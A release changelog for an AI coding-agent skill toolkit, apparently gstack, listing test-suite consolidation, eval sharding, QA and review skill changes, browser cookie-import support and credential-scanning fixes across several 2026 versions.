- `/plan-eng-review` and `/plan-ceo-review` state one rule: every behavior tested, no test without a regression it would catch. Test plans carry a value card per critical path and edge case, plus a `## Tests to Retire` section that `/test-audit` reads as seeds.
- `/review`'s testing specialist reports source-grep tests, test-only exports and other low-value tests in the diff as INFORMATIONAL findings with caller-search evidence, never as auto-deletes, and flags regression tests without red proof. A gap closed only by a low-value test stays a coverage gap at its existing severity.
- `/qa` and `/qa-only` apply the bar's last two questions before writing or proposing a regression test and record its value card.

### For contributors

- `scripts/resolvers/test-value.ts` owns the shared constants, the `{{TEST_VALUE_BAR:<mode>}}` and `{{TEST_VALUE_MESSAGE:<key>}}` placeholders and per-mode byte ceilings (measured renders plus 15%: plan 1,897, ship 2,742, qa 1,036, audit 3,712 bytes). Adapted from openclaw/openclaw@a214e76 `.agents/skills/test-audit`. The unreachable `review` branch of the coverage audit is deleted.
- `test/test-value-bar.test.ts` checks each mode's contract text and ceiling, the ship gate's decision rows, the rejected-file removal script in a Git fixture, the static review specialist's sync with the constants, docs anchors and skill registration. Three gate evals in `test/skill-e2e-test-value.test.ts` cover a weak path in `weak_gaps`, low-value review findings with a retained golden, and a report-only `/test-audit`.
- Budgets moved for the new skill and the embedded bar, each at its measured value with the derivation recorded: catalog 1,171 → 1,194 token-equivalents (`/test-audit` adds 92 bytes), always-on context 6,465 → 6,873 tokens, a new `test-audit` eager ceiling of 10,439 tokens, and carve-guard union ratios for ship (1.322 → 1.397; the lazy Step 7 section grows about 13.6KB), plan-eng-review (1.151 → 1.169) and qa (1.08 → 1.095). The paid census pins count the new gate file.
- The context-budget and ship golden fixtures are audited free-only PR inputs, so editing them no longer restores every paid gate case.
- `test/pr-shared-input-selection.test.ts` no longer depends on whether the local `package.json` differs from its merge-base.
- The catalog estimate in `test/skill-size-budget.test.ts` lists skills from `HEAD`, the same tree it reads, so a staged but uncommitted skill no longer breaks it.

## [1.91.8.0] - 2026-09-29

The test suite is smaller and every remaining test maps to a product contract: 227 fewer test files, about 90,000 fewer lines of tests, helpers and fixtures, and the weekly paid lane drops the five evals that were red eight runs straight. Free tests that only replayed one captured failure are folded into their detector's owner test, and paid eval selection is derived from each eval's own imports instead of hand-copied lists.

| Measure | Before (v1.91.6.0) | After |
| --- | ---: | ---: |
| Tracked test files | 1,184 | 957 |
| Test-file lines (all `*.test.ts`) | 279,640 | 244,504 |
| `test/` TypeScript lines (tests + helpers) | 274,208 | 227,713 |
| `test/helpers` lines | 51,390 | 39,427 |
| `test/fixtures` bytes | 16.3 MB | 9.7 MB |
| Free suite files / passing tests (Ubicloud standard-16) | 1,065 / 27,331 | 857 / 20,302 |
| Free suite serial seconds (recorded durations, same machine class) | 1,888 | 1,738 |
| Paid files / gate-lane files / periodic files | 119 / 58 / 100 | 100 / 42 / 69 |
| Weekly gate-census files | 58 | 41 (LLM judges run in the periodic and PR lanes) |
| Weekly periodic shard-minutes spent on files this release removes (09-21 run) | 235 of 462 | 0 |

The table compares v1.91.6.0 with this branch before it merged v1.91.7.0, which adds its own functional-QA and documentation tests. With both, the free suite runs 914 files (2,066 recorded serial seconds), the paid census has 104 files (46 gate, 70 periodic), and the weekly gate census runs 45 files in seven slices. v1.91.7.0's new paid cases follow the same derived-touchfile rule, and its new helper-only tests are listed in the ratchet baseline.

### Removed
- The never-green finding-count cluster: `skill-e2e-autoplan-chain` and `skill-e2e-plan-{ceo,eng,design,devex}-finding-count`, whose weekly failures were harness and budget failures, never skill behavior (triage in `docs/test-audit-2026-09.md`). No paid eval now proves a live model completes the full `/autoplan` chain or asks one question per finding; both gaps have TODOS entries with re-entry tests. The dedicated eighth periodic slice and `AUTOPLAN_CHAIN_BUDGET` go with them.
- Paid files that asserted nothing or could not pass: `skill-llm-eval-spec`, `skill-e2e-spec-execute`, `gemini-e2e` (no Gemini CLI in CI), `skill-e2e-ship-idempotency`, `skill-e2e-conductor-prose`, `codex-e2e-plan-format`, `skill-e2e-brain-privacy-gate`, `skill-e2e-opus-47` (its negative routing controls moved into `skill-routing-e2e`) and two duplicate overlay wrappers; `test:gemini` scripts removed.
- Free tests of dead eval code, product tests that exercised copies of the product, and test-infrastructure dead code.

### Changed
- Tests that faked the product now drive it: the design `serve()` server, terminal-agent `/internal/grant` and `/internal/revoke` bearer auth, `/health` liveness, and brain-sync consent before egress.
- Per-incident replay files are folded verbatim into twelve detector owner tests (listed in `docs/TEST_PORTFOLIO.md`), keeping every captured case.
- Paid touchfiles are derived: `test/touchfiles.test.ts` checks that each case's key covers its eval's static helper/fixture imports and the fixture paths it names, and free `*.test.ts` files are no longer touchfiles, so editing a free test no longer selects paid evals.
- The paid planner skips a file for a tier lane when every E2E id it registers belongs to the other tier (the hollow shards), and the weekly gate census skips the LLM judges.
- Seven paid evals that pinned `claude-opus-4-7` or `claude-sonnet-4-6` now capture with the default model from `resolveEvalModel`; all passed on it. Four more (`skill-e2e-design`, `-office-hours-phase4`, `-plan-prosons`, `-plan`) keep `claude-opus-4-7` because six of their cases failed on the default model; TODOS tracks re-pinning them.
- memory-pipeline, ios-qa, ios-qa-swift-build and plan-tune-cathedral make no model calls and now run in the free suite; CI-unrunnable Codex, Aside, outside-voice and iOS-device files are excluded from the weekly lane with a tracked re-entry condition.
- The plan-count history PTY test waits for its startup marker instead of a fixed 8-second sleep.

### Fixed
- The `/plan-design-review` UI-scope gate eval recognizes a Design finding by the review's own issue-numbered options (`1A`, `1B`, …) as well as by UI vocabulary, so a real finding about hierarchy, navigation, state tables or confirmation patterns no longer goes uncounted until the 600-second cap. It timed out on v1.91.7.0 in one of two local runs and on this branch's CI; both fixed runs finished in about 420 seconds.
- `bun run test:ubicloud` no longer reports `pull failed` when a run leaves no flake ledger in `/tmp`: a retrieval glob that matches nothing is skipped with a note, and the retained shard logs still land in `.context/ubicloud/<timestamp>/free-test-logs/`.

### For contributors
- When a paid eval fails, fix the product or harness and add the captured case as one row in the detector's owner test; `test/test-of-test-ratchet.test.ts` fails on any new test file that imports only `test/` code and names the owner test to extend. `CONTRIBUTING.md` "Test tiers" has an example.
- Deleted `test/helpers` modules and where their live cases went:
  - `autoplan-setup-question`, `ceo-approach-pick`, `ceo-completion-handoff`, `ceo-payment-findings`, `design-artifact-question`, `design-count-fixture`, `design-count-outside`, `design-count-review`, `devex-count-fixture`, `devex-seed-coverage`, `eng-count-question-policy`: consumed only by the retired finding-count evals; runner tests that used them as caller policies now use inline policies, and the omitted-`multiSelect` default moved to `test/plan-review-decisions.test.ts`.
  - `autoplan-phase-order`, `pty-current-screen`: never wired; the settings-overwrite card assertion moved to `test/helpers/claude-pty-runner.unit.test.ts`.
  - `ceo-paired-fixture`, `design-ui-scope`, `plan-skill-completion`, `required-reads`, `transcript-section-logger`, `eng-finding-fixture`, `eng-completion-handoff`, `eng-retained-corpus`, `captured-paths`, `gemini-session-runner`: no live cases.
- `test/helpers/resolve-repo-path.ts` resolves specifiers and path literals for both the ratchet and the touchfile closure check. The full evidence (inventories, selection proof, security mapping, retained false positives) is in `docs/test-audit-2026-09.md`.

## [1.91.7.0] - 2026-09-28
QA can test APIs, CLIs, jobs, workers and webhooks with the project's own tools,
without starting a browser. Review and ship now run bounded exploratory checks,
and every ship audits relevant documentation before final verification and publication.

### Added

- Functional QA checks native outputs and durable effects, including invalid inputs, authorization, cancellation, retries, duplicate delivery, concurrency and recovery. Reports distinguish failures, blocked probes and untested contracts; browser and functional results stay separate.
- Exploratory QA turns observations into targeted probes and proposed regression tests. Written evidence checkpoints connect each observed result to the next probe and are linked from the final report. Authorized repairs require a reproduced defect, a regression that fails before the repair, and successful regression, original-probe and adjacent-path checks when the native test infrastructure supports them.

### Changed

- `/qa` and `/qa-only` load instructions for the selected surface on each supported host. Functional and report-only runs never bootstrap a framework or inherit browser setup permission; `/qa-only` preserves product code, tests, configuration and Git state.
- `/review` and `/ship` run bounded exploration even on small non-browser diffs without a plan or server. Required checks remain required when blocked or unfinished, and proposed tests retain the parent's approval gates.
- Review collects checklist, specialist, QA and adversarial findings before one parent-owned fix phase. Re-review keeps the same three-cycle limit, reruns affected probes and records incomplete coverage honestly.
- Every ship consumes a completed documentation audit before final checks and publication, including uncommitted changes and existing-PR or repeat runs. Failed, stale or unsettled child results cannot silently become a clean audit; the parent retains release metadata and Git ownership.

### Fixed

- Report-only QA completes its scope and method Reads before setup, and preserves exact public fixture paths in evidence instead of inventing redacted paths. Actual secrets and private payloads remain protected.
- Ship's workflow quality judge uses a 64k streamed, structured response within its existing deadline; other judges retain their 8k allowance. Cache identity includes the actual cap, transport and response contract, and incomplete or malformed scores remain failures.
- Repeated QA runs preserve prior reports, baselines and exploration notes. Browser techniques follow the same checkpointed probe order as functional QA, and mixed reports keep each surface's evidence and scores separate.
- Ship's two-pass test-generation allowance includes the initial attempt, failures and zero-test results. Duplicate design findings share one action while retaining both reviewers' evidence, statistics and the stricter approval requirement.
- Ship keeps repair and late-change instructions in the steps that own them. Nested repairs preserve their return destination, and release preparation requires matching review records before version or documentation writes.
- Reusing skipped shared-code advice now relies on executable checks of the captured branch and eligible raw source evidence. Unsupported Git states, transformed paths and records without trusted coverage provenance cannot certify a previous decision.
- Paid-test `--list` also stays read-only with a saved plan and selected slice: it validates and lists the selected work without API preflight, test launches or result files.
- Functional-QA test fixtures enforce their declared foreground command boundary before execution, and shared native-event decoding rejects malformed or incomplete evidence while preserving caller-specific handoff rules.
- Native plan fixtures accept byte-exact seeds inside Claude's paste envelope without accepting fused or changed content. QA fixture completion avoids duplicating its checkpoint ledger, and caller fixtures distinguish absolute deadlines from start times.
- Free tests retain private full logs, fail when evidence cannot be saved, and give an actionable recovery step. Linux and Windows CI collect the retained logs. Refreshed timings make new fast regressions reachable through the existing quick lane without removing complete-suite coverage.
- The Ubicloud wrapper retrieves retained free-test logs and any retry ledger before destroying its VM.

## [1.91.6.0] - 2026-09-28

PR eval slices are balanced by how long each eval actually takes, so the slowest slice no longer carries most of the run.

### Changed
- The paid eval planner re-packs slices using recorded per-file wall times from real CI runs (`scripts/paid-test-durations.json`). It starts from the existing supervised allocation and only moves or swaps a file out of the heaviest slice when no slice's worst-case wall, for 1–4 workers, rises above that allocation's maximum, so CI timeout coverage never gets weaker. Estimated from the recorded times with two workers per slice, the heaviest slice for a typical PR run drops from about 15 minutes to 12 (the length of the single longest eval), and for the full gate census from about 17 minutes to 13.
- `bun run scripts/test-paid-shards.ts --report <dir> --write-durations` merges a report's executed single-file shard times into the seed. Skipped-only and sub-second shards are ignored.

## [1.91.5.0] - 2026-09-28

The free suite now finishes in about half the time on a 16-core Linux machine, `bun run test:ubicloud` runs it on a fresh 16-vCPU Ubicloud VM from any dev box, container, or cloud sandbox, and re-pushing a PR no longer waits behind the previous commit's eval run.

### Added
- `bun run test:ubicloud [test:free args]` runs the complete free suite on an ephemeral Ubicloud VM (`UBICLOUD_API_KEY` required; `UBI_SIZE` and `UBI_LOCATION` choose the machine). The VM gets the required CI lane's environment and strictness settings, uncommitted edits are included, shard logs are copied to `.context/ubicloud/`, and the VM is always destroyed afterwards. A full run takes about four and a half minutes end to end, compared with seven and a half minutes of suite time alone on a 4-vCPU machine.
- `bun run test:ubicloud --record-durations` refreshes `scripts/free-test-durations.json` in that same environment and copies it back.
- `scripts/ubicloud/ubi-runner.sh` runs any command on a Ubicloud VM (`run`, or `up` / `ssh` / `sync` / `pull` / `down`). It needs only bash, curl, python3, ssh, and tar locally, and it removes its own stale VMs after 12 hours.

### Changed
- On Linux, `bun run test` now starts one shard per available CPU, up to 16; macOS and Windows keep the limit of six. On a 16-vCPU VM, 16 shards finished the suite in 137 seconds and six shards took 327 seconds.
- The duration seed is re-recorded with browser, display, and CSO tests actually running, and the slowest test file is split into four files. On a 16-vCPU run, all 16 shards now finish within about 15 seconds of each other, where one shard used to take twice as long as the rest. The 20 CI shards are packed with the same seed.
- Full-suite and CI planning runs name any test file missing from the duration seed, so a slow new file cannot quietly become the long pole.
- The Windows CI lane gets the same single serial retry for attributed failures as the required Linux lane, and uploads its flaky passes as a `flake-ledger-windows` artifact. Its process-supervision timing tests pass when run alone but can stall under the lane's two-shard load.
- A new push to a pull request now cancels the previous commit's paid eval run. The eval slice, report, and comment jobs run unless the workflow is cancelled (`!cancelled()`) instead of unconditionally (`always()`), so they still run when the image build is skipped or a slice fails, but a superseded run no longer finishes (and bills) its slices while the new commit's run waits behind it. A workflow test fails if any eval job goes back to a job-level `always()`.
- LLM-judge skill quality evals require a clarity score of 3 instead of 4; completeness and actionability bars are unchanged. The cookie setup judge keeps its manually approved thresholds.
- Two timing-sensitive tests allow for a heavily loaded machine: the terminal-agent startup race waits up to 8 seconds for a cold agent start, and the invalid Retry-After cases accept timer delays below the next 4-second backoff step.

## [1.91.4.0] - 2026-09-28

Windows users can copy signed-in cookies from Opera and Opera GX into gstack's browser. On Windows, where Chrome, Edge and Brave increasingly store App-Bound Encryption cookies that gstack cannot decrypt, Opera and Opera GX still use DPAPI-protected cookies, so they may be the browsers where import keeps working.

### Added
- `cookie-import-browser opera` and `opera-gx` (also `operagx` and "Opera GX") on Windows, read from `%APPDATA%\Opera Software\Opera Stable` or `Opera GX Stable` in `Default` or `Profile N` directories. Legacy root-level layouts, Opera side profiles and portable installs are not detected. Includes the Opera registry and Roaming-root contribution from @mvanhorn in #2980 (refs #2957).

### Fixed
- Windows v10 cookies from current Chromium databases decrypted with 32 bytes of hash in front of the value, so imports could report success while the site stayed signed out. The SHA-256(host_key) prefix is now removed when present, for Chrome, Chromium, Edge and Brave as well as Opera.
- App-Bound Encryption rows in a browser without native extraction keep their receipt (counts and reasons) and name the recovery: `$B handoff`, sign in, `$B resume`. Partial imports warn that the session may not be restored.
- Missing browsers, missing profiles and ambiguous profile selection now say what was checked and what to run next, including which OS supports a browser and the typeable browser names available on this one. CLI receipts list failure reasons.
- A relative `APPDATA` no longer redirects the Opera root.

### Changed
- BROWSER.md has a Windows Opera walkthrough and tables for receipt failure reasons and import error codes; a free test keeps the browser lists in the docs and command reference in step with the registry.
- A Windows CI test decrypts a host-bound Opera cookie with real DPAPI through the Node server runtime. Real Opera sessions on Windows are still awaiting confirmation from the issue reporter.

## [1.91.2.0] - 2026-09-25

`/sync-gbrain` can check whether the current worktree's pages are readable without writing a probe page or deleting guidance when the answer is uncertain.

### Fixed
- Readiness now matches the registered source to this worktree before checking its page count, then reads a page from that same source. A foreign pin, failed read, invalid count, or unavailable service stays `unknown` and preserves existing guidance; a verified empty source can still offer reindexing.
- The Windows readiness fixture invokes the same Bun-backed `gbrain` command through a `.cmd` shim and preserves the inherited PATH spelling and separator.
- Importing terminal-agent helpers no longer boots the CLI or installs global process handlers; direct launches still enforce their startup-record check.
- The developer-experience question-floor check recognizes a grounded target choice by its structure rather than one phrasing, without accepting unrelated answers.
- Engineering review follows its preparation and complexity-gate paths in order, keeps each decision and required report write verifiable, and never enables calibration write-back without its explicit gate.

### Changed
- The PR evaluation plan includes source-scoped readiness coverage and the resulting judge and supervision budgets without reducing individual test timeouts, retries, or concurrency.

## [1.91.1.0] - 2026-09-25

### Fixed

- Find Impeccable installed through the Claude Code plugin marketplace, including a trusted custom `CLAUDE_CONFIG_DIR`. Preserve traditional skill installs and the existing explicit-engine, PATH and standalone-cache priority.
- Select plugin versions deterministically with strict semver ordering and support for hash-named versions. Keep a selected installation's launcher, engine and engine version together instead of borrowing an older plugin's engine.
- Use the same strict ordering for the standalone engine cache, retaining its semver-only policy and precedence. Do not follow cache directory symlinks or repository configuration links into unrelated filesystem trees.
- Preserve repository and symlink execution boundaries, sanitize discovery diagnostics, and quote or suppress launcher hints when a filename cannot be represented safely. Discovery never downloads or runs a launcher; engine compatibility warnings and install consent remain unchanged.
- Compare canonical HOME paths at the trust boundary, so home-directory aliases and dotfiles repositories do not hide user-installed engines or admit private home files as scan targets.
- Add plugin discovery, handoff, malformed-version and adversarial-path regressions, plus Windows-safe discovery cases selected by the native Windows test lane.

Includes the plugin-cache discovery contribution from @SomSamantray in #2976.

## [1.90.2.0] - 2026-09-24

**Spend less time waiting for tests.**
**Merge with clearer safeguards.**

The local test runner uses available CPUs and removes repeated setup without removing test scenarios. Independent question checks run concurrently rather than waiting for one another. `/land-and-deploy` ties your approval to the selected PR, head and destination branch, checks server state before a merge fallback, and keeps missing deployment evidence visible.

### The three numbers that matter

Source: matched Linux component benchmarks in [docs/TEST_PORTFOLIO.md](docs/TEST_PORTFOLIO.md), which names the test files, workload and coverage. The live comparison runs both periodic AUQ files with five independent captures. These are separate component measurements, not a complete paid-suite or CI speedup.

| Workload | Before | After | Δ |
|---|---:|---:|---:|
| Nine synthetic-terminal test files | 165.87s | 72.98s | −56% |
| Publication polling and watchdog tests | 56.57s | 9.63s | −83% |
| Two independent-question test files | 325.09s | 136.40s | −58% |

The synthetic-terminal checks save about 93 seconds of repeated waiting. Question checks retain every independent trial and their original grading rules; parallel execution is not permission to substitute one successful answer for several samples.

### What this means for developers

Use `bun run test` for complete free validation; the quick subset is still only a feedback lane. When landing a PR, a changed target requires fresh readiness and approval. A staging check after merge no longer implies production is held, and a healthy old page does not prove the new revision deployed. Run your checks, then use `/land-and-deploy` to review the evidence before merging.

### Itemized changes

#### Changed

- Local free-test workers follow available CPU affinity, with a minimum of one and the existing maximum of six. Explicit worker overrides and the separate CI matrix retain their behavior; Windows CI explicitly keeps its two-worker budget.
- Deployment reports distinguish deployment status, production health, staging verification and completed rollback. Requests to stage before production stop before merge with a handoff to the configured pipeline.

#### Fixed

- Browser-consent checks distinguish a promised new consent question from an immediate drive offer, while still rejecting conditional drive permission before Aside is ready.
- Review fixtures accept explicit no-change answers and coverage-reporting statements without authorizing source edits or index-flag changes.
- Merge fallback requires authoritative confirmation that neither an auto-merge request nor a queue entry exists. Confirmed merges are never replayed, and changed heads or destination branches invalidate earlier approval.
- Rollback distinguishes true merge commits, squash merges and rebase ranges. Failed or unverified deployment and canary checks remain visible rather than becoming success labels.

#### For contributors

- Repository release guidance defaults to autonomous patch bumps, including queue collisions. Merge approval remains separate.
- Synthetic terminals signal readiness; publication tests advance a scoped clock through the original polling sequence; watchdog scenarios share compilation but retain isolated executables and state.
- Free-only dependency exemptions are explicit, mapped dependencies take precedence, and unknown changes retain conservative paid selection. The portfolio document assigns separate responsibilities to structural tests, quality judges, native behaviors, simulations and platform integrations.
- Native question, shared-code review and design-detector fixtures validate their actual supported interactions and executed evidence. Source-detector assertion failures are recorded after validation, with attempt-specific diagnostics retained beyond cleanup.

## [1.90.0.0] - 2026-09-24

Cookie imports now keep the chosen browser, profile, and destination explicit, show partial failures, and distinguish copying cookies from proving that you are signed in.

### Added
- macOS Dia discovery and profile selection, using the existing Chromium cookie reader. Live native Dia import remains unqualified; fixture coverage is not a claim of native compatibility.
- Optional sign-in verification against an exact, visible identity assertion on the selected destination, with separate copied and verified results.
- Explicit current-origin storage recovery. Storage is preserved by default; an opted-in reset clears that origin's localStorage and only the target tab's sessionStorage.

### Fixed
- Prefer renamed profiles from Local State, distinguish duplicate names, and require selection rather than guessing among plausible accounts. Bare and dotted domain selections now match the intended cookie scope without broadening it.
- Register picker imports with the browser's imported-domain security guard, reject cross-origin picker mutations, and bind asynchronous operations to their original destination. Opening another picker makes old windows fail closed instead of silently changing their target.
- Show complete, partial, zero, and failed imports accurately. Stale discovery responses and duplicate submissions no longer overwrite the current picker state.
- Bound credential subprocess output and cleanup, retry only transient database reads, and prevent automatic replay of cookie-import mutations. The Node server uses a real read-only SQLite adapter.

### Changed
- Picker handoff codes last five minutes and remain single-use. Browser guidance explains profile selection, storage-reset consent, and the difference between copied cookies and verified sign-in.
- Native Windows extraction uses a sandboxed, owned-process, pipe-only path with bounded cleanup and no TCP fallback. Its qualification allowlist is empty in this release, so encrypted-cookie extraction through this path stays disabled with manual-sign-in guidance.
- Added isolated platform qualification, launch diagnostics, and regression coverage. Native Dia and protected default-profile Windows qualification remain incomplete; diagnostic passes do not count as successful imports.

## [1.89.1.0] - 2026-09-24

### Removed

- **Continuous checkpoint commits.** Skills no longer ask users to enable automatic `WIP:` commits or instruct agents to create them. The checkpoint mode and push settings are no longer advertised or consumed, and existing saved settings are left untouched.
- **Checkpoint-specific shipping cleanup.** `/ship` no longer exports checkpoint context or rewrites WIP history. It keeps its normal bisectable commit workflow and proceeds directly to verification when changes are already committed. Explicit `/context-save` and `/context-restore` remain available.

### Fixed

- **Native DevEx evaluation replies.** The test driver recognizes the editor hint shown when Claude Code focuses a custom answer, while still checking the exact question and reply before submitting.
- **Shared-code review evaluation replies.** The no-change driver can use an explicit preservation description to interpret a shorthand label, while still rejecting mixed fix/skip choices and ambiguous answers.
- **Windows timeout test readiness.** The process-cleanup regression waits for a live descendant before firing its registered deadline, while a separate real-clock case keeps startup bounded.
- **Design consultation workflow.** Font and design rules now precede proposal drafting and independent input. Optional-browser routing, existing-system choices, preview feedback and command/session requirements are explicit, and token extraction cannot write the project's design file before approval.
- **Shipping and engineering-review gates.** Missing dispatched reviewers now have an explicit stop/resume path, late shipping fixes return through fresh review, and evidence recovery distinguishes stale inputs from an unavailable ledger. Engineering review separates scope assessment, selector answers and remedy decisions, with ordered preparation and recovery.

## [1.89.0.0] - 2026-09-24

**Find shared code worth keeping.**
**Get the evidence before you extract it.**

`/deslop-shared-libs` finds places where sharing code could remove duplication and prevent repeated fixes. It starts with the preceding 14 UTC days of commits and PRs, plus relevant work on your branch, then follows the callers and helpers behind promising candidates. Each recommendation names compatible source locations, a small helper, the tests needed, and estimated savings after integration work. The skill recommends changes and stops; it does not edit your project or create issues or PRs.

### The three numbers that matter

Source: the workflow contracts in `deslop-shared-libs/SKILL.md.tmpl`, `plan-eng-review/sections/review-sections.md.tmpl`, and `review/SKILL.md.tmpl`, plus the generated catalog census. Run `bun test test/shared-libs-rendering.test.ts test/catalog-budget.test.ts` to verify distribution and catalog size. These are feature and source-size counts against v1.87.5.0, not performance measurements.

| Metric | Before | After | Δ |
|---|---:|---:|---:|
| Dedicated recent-work shared-code audit skills | 0 | 1 | +1 |
| Parent reviews using the shared-code rubric | 0 | 2 | +2 |
| Generated catalog name and description bytes | 4,593 | 4,675 | +82 |

`/plan-eng-review` and `/review` now apply the same criteria within the plan or diff you are already reviewing. They check existing helpers, caller compatibility, tests, and the risk of sharing a bug. They do not run the broader history audit.

### What this means for developers

You get up to five supported opportunities and up to three recommendations, with PR-covered work separated and missing evidence disclosed. Optional extractions require approval and do not lower the review score or block a clean result. A skipped extraction is reused only when its identity, branch, and verified source snapshot still match; actual defects keep normal fix handling. Run `/deslop-shared-libs`, or name a narrower area and time window.

### Itemized changes

#### Added

- **`/deslop-shared-libs` recommends useful shared-code extractions.** Reports link authored callers, prefer existing helpers, account for tests and integration, and explain reliability gains and risks. Generated and third-party copies do not count toward savings. Fewer recommendations, including none, are valid.
- **Recent work includes PR overlap checks.** The audit distinguishes code changes from comment activity, checks relevant older open PRs within a bounded scan, charges repeated page requests against the limit, and reports inaccessible history or truncated coverage. API reads never create response files, including temporary files outside the project.

#### Changed

- **Engineering plans and code reviews share one extraction rubric.** `/plan-eng-review` can evaluate proposed callers with labeled assumptions. `/review` checks actual changed code and related callers even for small diffs and Codex installations without Review Army.
- **Extraction advice stays separate from defects.** Advice requires approval, survives review persistence with its source evidence, and cannot suppress a real defect. Reusing a previous skip requires matching structural identity, verified source coverage, and branch binding.
- **Decision briefs retain their headings and closing tradeoff in native question tools.** The question carries its pros-and-cons heading and final summary; options retain their own benefits and drawbacks.

#### For contributors

- Added generated-host, discovery, identity, fixture, source-binding, and behavioral coverage. Gate evaluations exercise read-only access and the review action/persistence lifecycle; periodic evaluations cover ranking, PR overlap, and live Codex behavior.
- Coverage evaluations now recognize complete combined source reads and explicit diagram legends while retaining checks for source ownership, missing output, and contradictory evidence.
- First-question evaluations capture public native questions with a restricted tool set. Mode selection uses the actual question-tool callback and stops without answering. Provider failures and stale output remain failures. Interactive captures survive fixture cleanup when an output directory is configured, including local runs without a named run ID.

## [1.88.1.0] - 2026-09-22

Credential masking follows the exact detected source, and pre-push scans follow the actual destination. Browser agents and CSO operations retain precise ownership, while settings updates and artifact reinitialization preserve user-owned data.

### Fixed
- Credential masking uses original spans mapped from normalized matches, so anchored assignments, repeated values, Unicode and entity input redact the flagged value without masking a later neighbor. Sanitizable CSO source stays readable as masked text; unmaskable payloads remain withheld.
- Pre-push scans bind their ranges to the destination's name and effective URL, including separate push URLs. Missing advertised objects use a conservative range, SHA-256 repositories get the correct empty tree, and bounded slices retain normalized proximity context without fabricating line anchors or duplicate findings. Unscannable long lines or context windows still block explicitly.
- Hermetic evaluation children reject credential-shaped variables admitted through broad CI prefixes, while preserving CI metadata, named provider authentication and explicit runner overrides.
- Browser agents belong to the persistent daemon and an exact process generation. Replacement requires confirmed exit, failed startup retains uncertain children, and publication and shutdown share a lock so older generations cannot delete a successor's discoverability files. Repeated failed respawns are bounded. Uncertain ownership and abandoned publication locks require manual recovery rather than a process sweep.
- CSO lease recovery preserves 64-bit filesystem identities and nanosecond timestamps instead of rounding them. Adjacent identities remain distinct, replaced files remain protected, and ambiguous legacy state is still refused.
- Settings mutations, backups and rollback resolve the selected symlink target and share its canonical lock. Links, private file modes and unrelated settings survive; changed or invalid targets are refused.
- Artifact reinitialization updates managed allowlist entries while retaining the user suffix byte-for-byte, including comments and a missing final newline. Ambiguous markers and failed reads or assembly leave the original allowlist intact.

### Changed
- Required native macOS checks cover agent lifecycle, concurrent shutdown and linked settings. The native Windows CSO suite exercises repeated commands and exact high-ID lease recovery on NTFS.

## [1.87.6.0] - 2026-09-18

**Review gates keep their proof.**
**Coverage audits read the code first.**

Plan reviews now keep decisions, report checks, and publication checks in order when permissions, stale choices, or host metadata writes fail. Coverage audits for `/review`, `/ship`, and plan reviews read concrete source and test files before drawing their diagrams, so gaps are tied to code paths instead of diff and config noise.

Generation now validates every host and expected artifact, and Codex evaluation records retain failed execution and assertions. Plan reviews carry approved decisions through scope changes and save complete reports before declaring completion. CEO and engineering reviews save and verify each question before asking it; Autoplan reads and verifies the current plan, then publishes the parent phase report before advancing.

### Fixed
- PR evaluation plans keep a small changed-behavior profile and selected quality judges, while weekly and manual runs retain fresh broad coverage. Deferred checks remain visible. Verified workflow-judge passes can be reused within the same PR for 24 hours only when their complete inputs and runtime match.
- Free tests use a refreshed timing inventory and balanced isolated CI runners. `test:quick` provides an explicit partial feedback run; the complete suite remains required. Collection fixtures wait for actual readiness instead of repeating fixed startup delays. Recovered retries retain their original failure logs. Windows fixtures handle native paths and give independent scenarios separate deadlines; prepared Git fixtures disable background maintenance before copying.
- `/plan-ceo-review` and `/plan-eng-review` preserve scoped decisions, required save/read-back checks, and report publication before declaring completion or advancing to the next section.
- Coverage audits read source and test files in a dedicated step before mapping `[OK]` and `[GAP]` rows, while keeping framework and config context separate.
- `/plan-eng-review` clarifies setup gates, targeted audit timing, report ordering, and Outside Voice output surfaces without losing saved-question verification.
- The plan-count timeout fixture closes stdin without forcing process exit before diagnostics can be captured.
- Ship host golden files and parity size guards match the generated Codex, Factory, and plan-review outputs.
- Skill generation awaits every artifact across all hosts. Freshness checks detect missing output, validate generated content, preserve files and directories during dry runs, and report generation errors instead of accepting partial output.
- Codex evaluation records follow the runner result and assertions. Timeouts, failed validations, inherited output pipes, and interrupted attempts retain their actual outcomes, captured usage, and bounded cleanup.
- Paid test supervision allows each file to finish its existing cases and configured retries. CI and detached-run limits cover the full schedule without increasing model work budgets.
- `gstack-decision-log --help` explains the accepted payload and safe shell quoting without creating state.
- Plan reviews preserve the selected mode and prior approvals, compare each option against independent changes, and verify complete reports before recording completion. Engineering reviews assign independent decisions before drafting options, then audit and save the complete question before presenting it. Accepted scope includes the full selected option and its conditions; conflicting wording requires a corrected question and another answer. DX reviews use the same onboarding milestone for benchmarks, targets, examples, and measurement, and carry required factual verification forward without unnecessary approval questions. Outside-review suggestions use explicit approval menus; a dependency conflict returns to the affected decision before the plan is declared ready.
- `/plan-ceo-review` follows ordered phases and carries every existing approval through scope changes, including reviews with no new approach choice. It saves the complete question, option facts, and source references, then verifies the actual outgoing question against those saved fields and sends it unchanged. It applies file permissions consistently to plans, reports, tasks, and review metadata. When writes are forbidden, it carries complete review inputs in chat and labels them not persisted. A failed save stops completion. Unavailable reviewers and missing scores remain unavailable instead of inheriting a prior score.
- Design skills save mockups, previews, and approved designs under the configured state directory, and later steps discover them there. CEO plan discovery also follows the configured state directory in design input detection and prior-plan context.
- `/autoplan` loads each review's complete instructions, waits for asynchronous reviewers, and sends the current amended plan to spec reviewers. Each phase reloads its closing steps and verifies the full current plan before announcing completion; amendment checkpoints stay separate from reviewer inputs. Native review drivers acknowledge current questions and permissions promptly, reject stale frames and late completions, and recognize the offered manual handoff.
- `/office-hours` preserves structured review evidence through completion, keeps supported handoff content when replacing review sections, and develops distinct builder ideas. `/setup-gbrain` handles fresh state, remote-only sharing declines, and interrupted attempts without leaking fixture state.
- Terminal sessions drain output before reporting completion. Browser shutdown cleans up only the configured server instance. Pairing fixtures use checked ports and bounded cleanup. Deprecated-flag scans exclude workspace caches before searching and propagate command and filesystem failures.
- CSO public reports redact repository roots regardless of their path, while private snapshots retain the identity needed for verification. CSO also rejects a remote Docker endpoint with the correct diagnostic even when Docker is not installed.

### Changed
- CEO, engineering and Autoplan instructions fit their existing prompt-size limits while retaining approval, saved-question verification and report-publication requirements. Engineering uses one section-loading step and one approval check, with explicit rules for independent choices and unchanged question payloads.
